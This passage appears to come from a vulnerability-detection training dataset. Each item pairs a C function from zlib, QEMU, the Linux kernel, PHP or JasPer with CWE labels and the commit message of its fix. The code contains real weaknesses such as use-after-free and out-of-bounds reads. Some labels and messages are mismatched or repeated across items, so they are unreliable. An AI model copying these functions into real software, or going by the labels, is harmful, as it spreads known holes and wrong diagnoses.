(1U << state->distbits) - 1;\n\n /* decode literals and length/distances until end-of-block or not enough\n input data or output space */\n do {\n if (bits < 15) {\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n }\n here = lcode[hold & lmask];\n dolen:\n op = (unsigned)(here.bits);\n hold >>= op;\n bits -= op;\n op = (unsigned)(here.op);\n if (op == 0) { /* literal */\n Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?\n \"inflate: literal '%c'\\n\" :\n \"inflate: literal 0x%02x\\n\", here.val));\n PUP(out) = (unsigned char)(here.val);\n }\n else if (op & 16) { /* length base */\n len = (unsigned)(here.val);\n op &= 15; /* number of extra bits */\n if (op) {\n if (bits < op) {\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n }\n len += (unsigned)hold & ((1U << op) - 1);\n hold >>= op;\n bits -= op;\n }\n Tracevv((stderr, \"inflate: length %u\\n\", len));\n if (bits < 15) {\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n }\n here = dcode[hold & dmask];\n dodist:\n op = (unsigned)(here.bits);\n hold >>= op;\n bits -= op;\n op = (unsigned)(here.op);\n if (op & 16) { /* distance base */\n dist = (unsigned)(here.val);\n op &= 15; /* number of extra bits */\n if (bits < op) {\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n if (bits < op) {\n hold += (unsigned long)(PUP(in)) << bits;\n bits += 8;\n }\n }\n dist += (unsigned)hold & ((1U << op) - 1);\n#ifdef INFLATE_STRICT\n if (dist > dmax) {\n strm->msg = (char *)\"invalid distance too far back\";\n state->mode = BAD;\n break;\n }\n#endif\n hold >>= op;\n bits -= op;\n Tracevv((stderr, \"inflate: distance %u\\n\", dist));\n op = (unsigned)(out - beg); /* max distance in output */\n if (dist > op) { /* see if copy from window */\n op = dist - op; /* distance back in window */\n if (op > whave) {\n if (state->sane) {\n strm->msg =\n (char *)\"invalid distance too far back\";\n state->mode = BAD;\n break;\n }\n#ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR\n if (len <= op - whave) {\n do {\n PUP(out) = 0;\n } while (--len);\n continue;\n }\n len -= op - whave;\n do {\n PUP(out) = 0;\n } while (--op > whave);\n if (op == 0) {\n from = out - dist;\n do {\n PUP(out) = PUP(from);\n } while (--len);\n continue;\n }\n#endif\n }\n from = window - OFF;\n if (wnext == 0) { /* very common case */\n from += wsize - op;\n if (op < len) { /* some from window */\n len -= op;\n do {\n PUP(out) = PUP(from);\n } while (--op);\n from = out - dist; /* rest from output */\n }\n }\n else if (wnext < op) { /* wrap around window */\n from += wsize + wnext - op;\n op -= wnext;\n if (op < len) { /* some from end of window */\n len -= op;\n do {\n PUP(out) = PUP(from);\n } while (--op);\n from = window - OFF;\n if (wnext < len) { /* some from start of window */\n op = wnext;\n len -= op;\n do {\n PUP(out) = PUP(from);\n } while (--op);\n from = out - dist; /* rest from output */\n }\n }\n }\n else { /* contiguous in window */\n from += wnext - op;\n if (op < len) { /* some from window */\n len -= op;\n do {\n PUP(out) = PUP(from);\n } while (--op);\n from = out - dist; /* rest from output */\n }\n }\n while (len > 2) {\n PUP(out) = PUP(from);\n PUP(out) = PUP(from);\n PUP(out) = PUP(from);\n len -= 3;\n }\n if (len) {\n PUP(out) = PUP(from);\n if (len > 1)\n PUP(out) = PUP(from);\n }\n }\n else {\n from = out - dist; /* copy direct from output */\n do { /* minimum length is three */\n PUP(out) = PUP(from);\n PUP(out) = PUP(from);\n PUP(out) = PUP(from);\n len -= 3;\n } while (len > 2);\n if (len) {\n PUP(out) = PUP(from);\n if (len > 1)\n PUP(out) = PUP(from);\n }\n }\n }\n else if ((op & 64) == 0) { /* 2nd level distance code */\n here = dcode[here.val + (hold & ((1U << op) - 1))];\n goto dodist;\n }\n else {\n strm->msg = (char *)\"invalid distance code\";\n state->mode = BAD;\n break;\n }\n }\n else if ((op & 64) == 0) { /* 2nd level length code */\n here = lcode[here.val + (hold & ((1U << op) - 1))];\n goto dolen;\n }\n else if (op & 32) { /* end-of-block */\n Tracevv((stderr, \"inflate: end of block\\n\"));\n state->mode = TYPE;\n break;\n }\n else {\n strm->msg = (char *)\"invalid literal/length code\";\n state->mode = BAD;\n break;\n }\n } while (in < last && out < end);\n\n /* return unused bytes (on entry, bits < 8, so in won't go too far back) */\n len = bits >> 3;\n in -= len;\n bits -= len << 3;\n hold &= (1U << bits) - 1;\n\n /* update state and return */\n strm->next_in = in + OFF;\n strm->next_out = out + OFF;\n strm->avail_in = (unsigned)(in < last ? 5 + (last - in) : 5 - (in - last));\n strm->avail_out = (unsigned)(out < end ?\n 257 + (end - out) : 257 - (out - end));\n state->hold = hold;\n state->bits = bits;\n return;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-703', 'CWE-189'], 'message': 'Use post-increment only in inffast.c.\n\nAn old inffast.c optimization turns out to not be optimal anymore\nwith modern compilers, and furthermore was not compliant with the\nC standard, for which decrementing a pointer before its allocated\nmemory is undefined. Per the recommendation of a security audit of\nthe zlib code by Trail of Bits and TrustInSoft, in support of the\nMozilla Foundation, this \"optimization\" was removed, in order to\navoid the possibility of undefined behavior.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void mux_chr_close(struct CharDriverState *chr)\n{\n MuxDriver *d = chr->opaque;\n\n qemu_chr_fe_deinit(&d->chr);\n g_free(d);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'char: move front end handlers in CharBackend\n\nSince the hanlders are associated with a CharBackend, rather than the\nCharDriverState, it is more appropriate to store in CharBackend. This\navoids the handler copy dance in qemu_chr_fe_set_handlers() then\nmux_chr_update_read_handler(), by storing the CharBackend pointer\ndirectly.\n\nAlso a mux CharDriver should go through mux->backends[focused], since\nchr->be will stay NULL. Before that, it was possible to call\nchr->handler by mistake with surprising results, for ex through\nqemu_chr_be_can_write(), which would result in calling the last set\nhandler front end, not the one with focus.\n\nSigned-off-by: Marc-Andr\u00e9 Lureau \nMessage-Id: <20161022095318.17775-22-marcandre.lureau@redhat.com>\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void udp_chr_update_read_handler(CharDriverState *chr,\n GMainContext *context,\n int tag)\n{\n NetCharDriver *s = chr->opaque;\n\n remove_fd_in_watch(chr);\n if (s->ioc) {\n chr->fd_in_tag = io_add_watch_poll(s->ioc,\n udp_chr_read_poll,\n udp_chr_read, chr,\n context);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'char: move front end handlers in CharBackend\n\nSince the hanlders are associated with a CharBackend, rather than the\nCharDriverState, it is more appropriate to store in CharBackend. This\navoids the handler copy dance in qemu_chr_fe_set_handlers() then\nmux_chr_update_read_handler(), by storing the CharBackend pointer\ndirectly.\n\nAlso a mux CharDriver should go through mux->backends[focused], since\nchr->be will stay NULL. Before that, it was possible to call\nchr->handler by mistake with surprising results, for ex through\nqemu_chr_be_can_write(), which would result in calling the last set\nhandler front end, not the one with focus.\n\nSigned-off-by: Marc-Andr\u00e9 Lureau \nMessage-Id: <20161022095318.17775-22-marcandre.lureau@redhat.com>\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int mux_chr_can_read(void *opaque)\n{\n CharDriverState *chr = opaque;\n MuxDriver *d = chr->opaque;\n int m = d->focus;\n\n if ((d->prod[m] - d->cons[m]) < MUX_BUFFER_SIZE)\n return 1;\n if (d->chr_can_read[m])\n return d->chr_can_read[m](d->ext_opaque[m]);\n return 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'char: move front end handlers in CharBackend\n\nSince the hanlders are associated with a CharBackend, rather than the\nCharDriverState, it is more appropriate to store in CharBackend. This\navoids the handler copy dance in qemu_chr_fe_set_handlers() then\nmux_chr_update_read_handler(), by storing the CharBackend pointer\ndirectly.\n\nAlso a mux CharDriver should go through mux->backends[focused], since\nchr->be will stay NULL. Before that, it was possible to call\nchr->handler by mistake with surprising results, for ex through\nqemu_chr_be_can_write(), which would result in calling the last set\nhandler front end, not the one with focus.\n\nSigned-off-by: Marc-Andr\u00e9 Lureau \nMessage-Id: <20161022095318.17775-22-marcandre.lureau@redhat.com>\nSigned-off-by: Paolo Bonzini '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ping_common_sendmsg(int family, struct msghdr *msg, size_t len,\n\t\t\tvoid *user_icmph, size_t icmph_len) {\n\tu8 type, code;\n\n\tif (len > 0xFFFF)\n\t\treturn -EMSGSIZE;\n\n\t/*\n\t *\tCheck the flags.\n\t */\n\n\t/* Mirror BSD error message compatibility */\n\tif (msg->msg_flags & MSG_OOB)\n\t\treturn -EOPNOTSUPP;\n\n\t/*\n\t *\tFetch the ICMP header provided by the userland.\n\t *\tiovec is modified! The ICMP header is consumed.\n\t */\n\tif (memcpy_from_msg(user_icmph, msg, icmph_len))\n\t\treturn -EFAULT;\n\n\tif (family == AF_INET) {\n\t\ttype = ((struct icmphdr *) user_icmph)->type;\n\t\tcode = ((struct icmphdr *) user_icmph)->code;\n#if IS_ENABLED(CONFIG_IPV6)\n\t} else if (family == AF_INET6) {\n\t\ttype = ((struct icmp6hdr *) user_icmph)->icmp6_type;\n\t\tcode = ((struct icmp6hdr *) user_icmph)->icmp6_code;\n#endif\n\t} else {\n\t\tBUG();\n\t}\n\n\tif (!ping_supported(family, type, code))\n\t\treturn -EINVAL;\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284'], 'message': 'net: ping: check minimum size on ICMP header length\n\nPrior to commit c0371da6047a (\"put iov_iter into msghdr\") in v3.19, there\nwas no check that the iovec contained enough bytes for an ICMP header,\nand the read loop would walk across neighboring stack contents. Since the\niov_iter conversion, bad arguments are noticed, but the returned error is\nEFAULT. Returning EINVAL is a clearer error and also solves the problem\nprior to v3.19.\n\nThis was found using trinity with KASAN on v3.18:\n\nBUG: KASAN: stack-out-of-bounds in memcpy_fromiovec+0x60/0x114 at addr ffffffc071077da0\nRead of size 8 by task trinity-c2/9623\npage:ffffffbe034b9a08 count:0 mapcount:0 mapping: (null) index:0x0\nflags: 0x0()\npage dumped because: kasan: bad access detected\nCPU: 0 PID: 9623 Comm: trinity-c2 Tainted: G BU 3.18.0-dirty #15\nHardware name: Google Tegra210 Smaug Rev 1,3+ (DT)\nCall trace:\n[] dump_backtrace+0x0/0x1ac arch/arm64/kernel/traps.c:90\n[] show_stack+0x10/0x1c arch/arm64/kernel/traps.c:171\n[< inline >] __dump_stack lib/dump_stack.c:15\n[] dump_stack+0x7c/0xd0 lib/dump_stack.c:50\n[< inline >] print_address_description mm/kasan/report.c:147\n[< inline >] kasan_report_error mm/kasan/report.c:236\n[] kasan_report+0x380/0x4b8 mm/kasan/report.c:259\n[< inline >] check_memory_region mm/kasan/kasan.c:264\n[] __asan_load8+0x20/0x70 mm/kasan/kasan.c:507\n[] memcpy_fromiovec+0x5c/0x114 lib/iovec.c:15\n[< inline >] memcpy_from_msg include/linux/skbuff.h:2667\n[] ping_common_sendmsg+0x50/0x108 net/ipv4/ping.c:674\n[] ping_v4_sendmsg+0xd8/0x698 net/ipv4/ping.c:714\n[] inet_sendmsg+0xe0/0x12c net/ipv4/af_inet.c:749\n[< inline >] __sock_sendmsg_nosec net/socket.c:624\n[< inline >] __sock_sendmsg net/socket.c:632\n[] sock_sendmsg+0x124/0x164 net/socket.c:643\n[< inline >] SYSC_sendto net/socket.c:1797\n[] SyS_sendto+0x178/0x1d8 net/socket.c:1761\n\nCVE-2016-8399\n\nReported-by: Qidan He \nFixes: c319b4d76b9e (\"net: ipv4: add IPPROTO_ICMP socket kind\")\nCc: stable@vger.kernel.org\nSigned-off-by: Kees Cook \nSigned-off-by: David S. Miller '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int perf_event_read_group(struct perf_event *event,\n\t\t\t\t u64 read_format, char __user *buf)\n{\n\tstruct perf_event *leader = event->group_leader, *sub;\n\tint n = 0, size = 0, ret = -EFAULT;\n\tstruct perf_event_context *ctx = leader->ctx;\n\tu64 values[5];\n\tu64 count, enabled, running;\n\n\tmutex_lock(&ctx->mutex);\n\tcount = perf_event_read_value(leader, &enabled, &running);\n\n\tvalues[n++] = 1 + leader->nr_siblings;\n\tif (read_format & PERF_FORMAT_TOTAL_TIME_ENABLED)\n\t\tvalues[n++] = enabled;\n\tif (read_format & PERF_FORMAT_TOTAL_TIME_RUNNING)\n\t\tvalues[n++] = running;\n\tvalues[n++] = count;\n\tif (read_format & PERF_FORMAT_ID)\n\t\tvalues[n++] = primary_event_id(leader);\n\n\tsize = n * sizeof(u64);\n\n\tif (copy_to_user(buf, values, size))\n\t\tgoto unlock;\n\n\tret = size;\n\n\tlist_for_each_entry(sub, &leader->sibling_list, group_entry) {\n\t\tn = 0;\n\n\t\tvalues[n++] = perf_event_read_value(sub, &enabled, &running);\n\t\tif (read_format & PERF_FORMAT_ID)\n\t\t\tvalues[n++] = primary_event_id(sub);\n\n\t\tsize = n * sizeof(u64);\n\n\t\tif (copy_to_user(buf + ret, values, size)) {\n\t\t\tret = -EFAULT;\n\t\t\tgoto unlock;\n\t\t}\n\n\t\tret += size;\n\t}\nunlock:\n\tmutex_unlock(&ctx->mutex);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-284', 'CWE-264'], 'message': 'perf: Fix event->ctx locking\n\nThere have been a few reported issues wrt. the lack of locking around\nchanging event->ctx. This patch tries to address those.\n\nIt avoids the whole rwsem thing; and while it appears to work, please\ngive it some thought in review.\n\nWhat I did fail at is sensible runtime checks on the use of\nevent->ctx, the RCU use makes it very hard.\n\nSigned-off-by: Peter Zijlstra (Intel) \nCc: Paul E. McKenney \nCc: Jiri Olsa \nCc: Arnaldo Carvalho de Melo \nCc: Linus Torvalds \nLink: http://lkml.kernel.org/r/20150123125834.209535886@infradead.org\nSigned-off-by: Ingo Molnar '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: */\nstatic void php_wddx_pop_element(void *user_data, const XML_Char *name)\n{\n\tst_entry \t\t\t*ent1, *ent2;\n\twddx_stack \t\t\t*stack = (wddx_stack *)user_data;\n\tHashTable \t\t\t*target_hash;\n\tzend_class_entry \t**pce;\n\tzval\t\t\t\t*obj;\n\tzval\t\t\t\t*tmp;\n\tTSRMLS_FETCH();\n\n/* OBJECTS_FIXME */\n\tif (stack->top == 0) {\n\t\treturn;\n\t}\n\n\tif (!strcmp(name, EL_STRING) || !strcmp(name, EL_NUMBER) ||\n\t\t!strcmp(name, EL_BOOLEAN) || !strcmp(name, EL_NULL) ||\n\t \t!strcmp(name, EL_ARRAY) || !strcmp(name, EL_STRUCT) ||\n\t\t!strcmp(name, EL_RECORDSET) || !strcmp(name, EL_BINARY) ||\n\t\t!strcmp(name, EL_DATETIME)) {\n\t\twddx_stack_top(stack, (void**)&ent1);\n\n\t\tif (!ent1->data) {\n\t\t\tif (stack->top > 1) {\n\t\t\t\tstack->top--;\n\t\t\t\tefree(ent1);\n\t\t\t} else {\n\t\t\t\tstack->done = 1;\n\t\t\t}\n\t\t\treturn;\n\t\t}\n\n\t\tif (!strcmp(name, EL_BINARY)) {\n\t\t\tint new_len=0;\n\t\t\tunsigned char *new_str;\n\n\t\t\tnew_str = php_base64_decode(Z_STRVAL_P(ent1->data), Z_STRLEN_P(ent1->data), &new_len);\n\t\t\tSTR_FREE(Z_STRVAL_P(ent1->data));\n\t\t\tif (new_str) {\n\t\t\t\tZ_STRVAL_P(ent1->data) = new_str;\n\t\t\t\tZ_STRLEN_P(ent1->data) = new_len;\n\t\t\t} else {\n\t\t\t\tZVAL_EMPTY_STRING(ent1->data);\n\t\t\t}\n\t\t}\n\n\t\t/* Call __wakeup() method on the object. */\n\t\tif (Z_TYPE_P(ent1->data) == IS_OBJECT) {\n\t\t\tzval *fname, *retval = NULL;\n\n\t\t\tMAKE_STD_ZVAL(fname);\n\t\t\tZVAL_STRING(fname, \"__wakeup\", 1);\n\n\t\t\tcall_user_function_ex(NULL, &ent1->data, fname, &retval, 0, 0, 0, NULL TSRMLS_CC);\n\n\t\t\tzval_dtor(fname);\n\t\t\tFREE_ZVAL(fname);\n\t\t\tif (retval) {\n\t\t\t\tzval_ptr_dtor(&retval);\n\t\t\t}\n\t\t}\n\n\t\tif (stack->top > 1) {\n\t\t\tstack->top--;\n\t\t\twddx_stack_top(stack, (void**)&ent2);\n\n\t\t\t/* if non-existent field */\n\t\t\tif (ent2->data == NULL) {\n\t\t\t\tzval_ptr_dtor(&ent1->data);\n\t\t\t\tefree(ent1);\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif (Z_TYPE_P(ent2->data) == IS_ARRAY || Z_TYPE_P(ent2->data) == IS_OBJECT) {\n\t\t\t\ttarget_hash = HASH_OF(ent2->data);\n\n\t\t\t\tif (ent1->varname) {\n\t\t\t\t\tif (!strcmp(ent1->varname, PHP_CLASS_NAME_VAR) &&\n\t\t\t\t\t\tZ_TYPE_P(ent1->data) == IS_STRING && Z_STRLEN_P(ent1->data) &&\n\t\t\t\t\t\tent2->type == ST_STRUCT && Z_TYPE_P(ent2->data) == IS_ARRAY) {\n\t\t\t\t\t\tzend_bool incomplete_class = 0;\n\n\t\t\t\t\t\tzend_str_tolower(Z_STRVAL_P(ent1->data), Z_STRLEN_P(ent1->data));\n\t\t\t\t\t\tif (zend_hash_find(EG(class_table), Z_STRVAL_P(ent1->data),\n\t\t\t\t\t\t\t\t\t\t Z_STRLEN_P(ent1->data)+1, (void **) &pce)==FAILURE) {\n\t\t\t\t\t\t\tincomplete_class = 1;\n\t\t\t\t\t\t\tpce = &PHP_IC_ENTRY;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t/* Initialize target object */\n\t\t\t\t\t\tMAKE_STD_ZVAL(obj);\n\t\t\t\t\t\tobject_init_ex(obj, *pce);\n\n\t\t\t\t\t\t/* Merge current hashtable with object's default properties */\n\t\t\t\t\t\tzend_hash_merge(Z_OBJPROP_P(obj),\n\t\t\t\t\t\t\t\t\t\tZ_ARRVAL_P(ent2->data),\n\t\t\t\t\t\t\t\t\t\t(void (*)(void *)) zval_add_ref,\n\t\t\t\t\t\t\t\t\t\t(void *) &tmp, sizeof(zval *), 0);\n\n\t\t\t\t\t\tif (incomplete_class) {\n\t\t\t\t\t\t\tphp_store_class_name(obj, Z_STRVAL_P(ent1->data), Z_STRLEN_P(ent1->data));\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t/* Clean up old array entry */\n\t\t\t\t\t\tzval_ptr_dtor(&ent2->data);\n\n\t\t\t\t\t\t/* Set stack entry to point to the newly created object */\n\t\t\t\t\t\tent2->data = obj;\n\n\t\t\t\t\t\t/* Clean up class name var entry */\n\t\t\t\t\t\tzval_ptr_dtor(&ent1->data);\n\t\t\t\t\t} else if (Z_TYPE_P(ent2->data) == IS_OBJECT) {\n\t\t\t\t\t\tzend_class_entry *old_scope = EG(scope);\n\n\t\t\t\t\t\tEG(scope) = Z_OBJCE_P(ent2->data);\n\t\t\t\t\t\tZ_DELREF_P(ent1->data);\n\t\t\t\t\t\tadd_property_zval(ent2->data, ent1->varname, ent1->data);\n\t\t\t\t\t\tEG(scope) = old_scope;\n\t\t\t\t\t} else {\n\t\t\t\t\t\tzend_symtable_update(target_hash, ent1->varname, strlen(ent1->varname)+1, &ent1->data, sizeof(zval *), NULL);\n\t\t\t\t\t}\n\t\t\t\t\tefree(ent1->varname);\n\t\t\t\t} else\t{\n\t\t\t\t\tzend_hash_next_index_insert(target_hash, &ent1->data, sizeof(zval *), NULL);\n\t\t\t\t}\n\t\t\t}\n\t\t\tefree(ent1);\n\t\t} else {\n\t\t\tstack->done = 1;\n\t\t}\n\t} else if (!strcmp(name, EL_VAR) && stack->varname) {\n\t\tefree(stack->varname);\n\t\tstack->varname = NULL;\n\t} else if (!strcmp(name, EL_FIELD)) {\n\t\tst_entry *ent;\n\t\twddx_stack_top(stack, (void **)&ent);\n\t\tefree(ent);\n\t\tstack->top--;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'Fix bug #73331 - do not try to serialize/unserialize objects wddx can not handle\n\nProper soltion would be to call serialize/unserialize and deal with the result,\nbut this requires more work that should be done by wddx maintainer (not me).'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int jpc_pi_nextpcrl(register jpc_pi_t *pi)\n{\n\tint rlvlno;\n\tjpc_pirlvl_t *pirlvl;\n\tjpc_pchg_t *pchg;\n\tint prchind;\n\tint prcvind;\n\tint *prclyrno;\n\tint compno;\n\tjpc_picomp_t *picomp;\n\tint xstep;\n\tint ystep;\n\tuint_fast32_t trx0;\n\tuint_fast32_t try0;\n\tuint_fast32_t r;\n\tuint_fast32_t rpx;\n\tuint_fast32_t rpy;\n\n\tpchg = pi->pchg;\n\tif (!pi->prgvolfirst) {\n\t\tgoto skip;\n\t} else {\n\t\tpi->xstep = 0;\n\t\tpi->ystep = 0;\n\t\tfor (compno = 0, picomp = pi->picomps; compno < pi->numcomps;\n\t\t ++compno, ++picomp) {\n\t\t\tfor (rlvlno = 0, pirlvl = picomp->pirlvls; rlvlno <\n\t\t\t picomp->numrlvls; ++rlvlno, ++pirlvl) {\n\t\t\t\txstep = picomp->hsamp * (1 <<\n\t\t\t\t (pirlvl->prcwidthexpn + picomp->numrlvls -\n\t\t\t\t rlvlno - 1));\n\t\t\t\tystep = picomp->vsamp * (1 <<\n\t\t\t\t (pirlvl->prcheightexpn + picomp->numrlvls -\n\t\t\t\t rlvlno - 1));\n\t\t\t\tpi->xstep = (!pi->xstep) ? xstep :\n\t\t\t\t JAS_MIN(pi->xstep, xstep);\n\t\t\t\tpi->ystep = (!pi->ystep) ? ystep :\n\t\t\t\t JAS_MIN(pi->ystep, ystep);\n\t\t\t}\n\t\t}\n\t\tpi->prgvolfirst = 0;\n\t}\n\n\tfor (pi->y = pi->ystart; pi->y < pi->yend; pi->y += pi->ystep -\n\t (pi->y % pi->ystep)) {\n\t\tfor (pi->x = pi->xstart; pi->x < pi->xend; pi->x += pi->xstep -\n\t\t (pi->x % pi->xstep)) {\n\t\t\tfor (pi->compno = pchg->compnostart, pi->picomp =\n\t\t\t &pi->picomps[pi->compno]; pi->compno < pi->numcomps\n\t\t\t && pi->compno < JAS_CAST(int, pchg->compnoend); ++pi->compno,\n\t\t\t ++pi->picomp) {\n\t\t\t\tfor (pi->rlvlno = pchg->rlvlnostart,\n\t\t\t\t pi->pirlvl = &pi->picomp->pirlvls[pi->rlvlno];\n\t\t\t\t pi->rlvlno < pi->picomp->numrlvls &&\n\t\t\t\t pi->rlvlno < pchg->rlvlnoend; ++pi->rlvlno,\n\t\t\t\t ++pi->pirlvl) {\n\t\t\t\t\tif (pi->pirlvl->numprcs == 0) {\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\t\t\t\t\tr = pi->picomp->numrlvls - 1 - pi->rlvlno;\n\t\t\t\t\ttrx0 = JPC_CEILDIV(pi->xstart, pi->picomp->hsamp << r);\n\t\t\t\t\ttry0 = JPC_CEILDIV(pi->ystart, pi->picomp->vsamp << r);\n\t\t\t\t\trpx = r + pi->pirlvl->prcwidthexpn;\n\t\t\t\t\trpy = r + pi->pirlvl->prcheightexpn;\n\t\t\t\t\tif (((pi->x == pi->xstart && ((trx0 << r) % (1 << rpx))) ||\n\t\t\t\t\t !(pi->x % (pi->picomp->hsamp << rpx))) &&\n\t\t\t\t\t ((pi->y == pi->ystart && ((try0 << r) % (1 << rpy))) ||\n\t\t\t\t\t !(pi->y % (pi->picomp->vsamp << rpy)))) {\n\t\t\t\t\t\tprchind = JPC_FLOORDIVPOW2(JPC_CEILDIV(pi->x, pi->picomp->hsamp\n\t\t\t\t\t\t << r), pi->pirlvl->prcwidthexpn) - JPC_FLOORDIVPOW2(trx0,\n\t\t\t\t\t\t pi->pirlvl->prcwidthexpn);\n\t\t\t\t\t\tprcvind = JPC_FLOORDIVPOW2(JPC_CEILDIV(pi->y, pi->picomp->vsamp\n\t\t\t\t\t\t << r), pi->pirlvl->prcheightexpn) - JPC_FLOORDIVPOW2(try0,\n\t\t\t\t\t\t pi->pirlvl->prcheightexpn);\n\t\t\t\t\t\tpi->prcno = prcvind * pi->pirlvl->numhprcs + prchind;\n\t\t\t\t\t\tassert(pi->prcno < pi->pirlvl->numprcs);\n\t\t\t\t\t\tfor (pi->lyrno = 0; pi->lyrno < pi->numlyrs &&\n\t\t\t\t\t\t pi->lyrno < JAS_CAST(int, pchg->lyrnoend); ++pi->lyrno) {\n\t\t\t\t\t\t\tprclyrno = &pi->pirlvl->prclyrnos[pi->prcno];\n\t\t\t\t\t\t\tif (pi->lyrno >= *prclyrno) {\n\t\t\t\t\t\t\t\t++(*prclyrno);\n\t\t\t\t\t\t\t\treturn 0;\n\t\t\t\t\t\t\t}\nskip:\n\t\t\t\t\t\t\t;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'Fixed numerous integer overflow problems in the code for packet iterators\nin the JPC decoder.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void tcmpt_destroy(jpc_enc_tcmpt_t *tcmpt)\n{\n\tjpc_enc_rlvl_t *rlvl;\n\tuint_fast16_t rlvlno;\n\n\tif (tcmpt->rlvls) {\n\t\tfor (rlvlno = 0, rlvl = tcmpt->rlvls; rlvlno < tcmpt->numrlvls;\n\t\t ++rlvlno, ++rlvl) {\n\t\t\trlvl_destroy(rlvl);\n\t\t}\n\t\tjas_free(tcmpt->rlvls);\n\t}\n\n\tif (tcmpt->data) {\n\t\tjas_seq2d_destroy(tcmpt->data);\n\t}\n\tif (tcmpt->tsfb) {\n\t\tjpc_tsfb_destroy(tcmpt->tsfb);\n\t}\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'Fixed some potential double-free problems in the JPC codec.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ring_buffer_resize(struct ring_buffer *buffer, unsigned long size,\n\t\t\tint cpu_id)\n{\n\tstruct ring_buffer_per_cpu *cpu_buffer;\n\tunsigned long nr_pages;\n\tint cpu, err = 0;\n\n\t/*\n\t * Always succeed at resizing a non-existent buffer:\n\t */\n\tif (!buffer)\n\t\treturn size;\n\n\t/* Make sure the requested buffer exists */\n\tif (cpu_id != RING_BUFFER_ALL_CPUS &&\n\t !cpumask_test_cpu(cpu_id, buffer->cpumask))\n\t\treturn size;\n\n\tsize = DIV_ROUND_UP(size, BUF_PAGE_SIZE);\n\tsize *= BUF_PAGE_SIZE;\n\n\t/* we need a minimum of two pages */\n\tif (size < BUF_PAGE_SIZE * 2)\n\t\tsize = BUF_PAGE_SIZE * 2;\n\n\tnr_pages = DIV_ROUND_UP(size, BUF_PAGE_SIZE);\n\n\t/*\n\t * Don't succeed if resizing is disabled, as a reader might be\n\t * manipulating the ring buffer and is expecting a sane state while\n\t * this is true.\n\t */\n\tif (atomic_read(&buffer->resize_disabled))\n\t\treturn -EBUSY;\n\n\t/* prevent another thread from changing buffer sizes */\n\tmutex_lock(&buffer->mutex);\n\n\tif (cpu_id == RING_BUFFER_ALL_CPUS) {\n\t\t/* calculate the pages to update */\n\t\tfor_each_buffer_cpu(buffer, cpu) {\n\t\t\tcpu_buffer = buffer->buffers[cpu];\n\n\t\t\tcpu_buffer->nr_pages_to_update = nr_pages -\n\t\t\t\t\t\t\tcpu_buffer->nr_pages;\n\t\t\t/*\n\t\t\t * nothing more to do for removing pages or no update\n\t\t\t */\n\t\t\tif (cpu_buffer->nr_pages_to_update <= 0)\n\t\t\t\tcontinue;\n\t\t\t/*\n\t\t\t * to add pages, make sure all new pages can 